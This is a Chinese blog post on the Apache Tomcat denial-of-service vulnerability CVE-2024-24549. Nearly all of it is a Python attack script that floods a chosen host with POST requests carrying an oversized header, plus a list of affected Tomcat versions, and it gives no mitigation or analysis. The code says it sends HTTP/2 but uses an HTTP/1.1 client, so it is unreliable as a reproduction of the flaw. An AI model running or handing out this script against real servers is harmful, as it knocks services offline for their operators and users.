Warning: Undefined array key "HTTP_ACCEPT_LANGUAGE" in /www/wwwroot/blog.guapiwo.top/usr/themes/joe/public/tencent_protect.php on line 40

Deprecated: strpos(): Passing null to parameter #1 ($haystack) of type string is deprecated in /www/wwwroot/blog.guapiwo.top/usr/themes/joe/public/tencent_protect.php on line 40
Apache Tomcat拒绝服务漏洞(CVE-2024-24549) - 瓜皮博客_d0glun
Apache Tomcat拒绝服务漏洞(CVE-2024-24549)
Apache Tomcat拒绝服务漏洞(CVE-2024-24549)
瓜皮博客_d0glun

Apache Tomcat拒绝服务漏洞(CVE-2024-24549)

d0glun
2025-05-20 / 0 评论 / 0 阅读 / 正在检测是否收录...
import http.client

# Configuration
host = "target-server"  # Change this to the target server address
port = 443  # Change this to the target server port (usually 443 for HTTPS)
num_requests = 1000  # Number of requests to send

def send_dos_requests():
    try:
        # Create an HTTP/2 connection
        conn = http.client.HTTPSConnection(host, port, timeout=10)
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Test-Header": "A" * 65536  # Large header value to exceed limits
        }
        for i in range(num_requests):
            conn.request("POST", "/", headers=headers)
            response = conn.getresponse()
            print(f"Request {i + 1}: Status Code: {response.status}")

        conn.close()
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    print(f"Sending {num_requests} HTTP/2 requests to {host}:{port}")
    send_dos_requests()

    Apache Tomcat 11.0.0-M1 至 11.0.0-M16
Apache Tomcat 10.1.0-M1 至 10.1.18
Apache Tomcat 9.0.0-M1 至 9.0.85
Apache Tomcat 8.5.0 至 8.5.98
0

评论 (0)

取消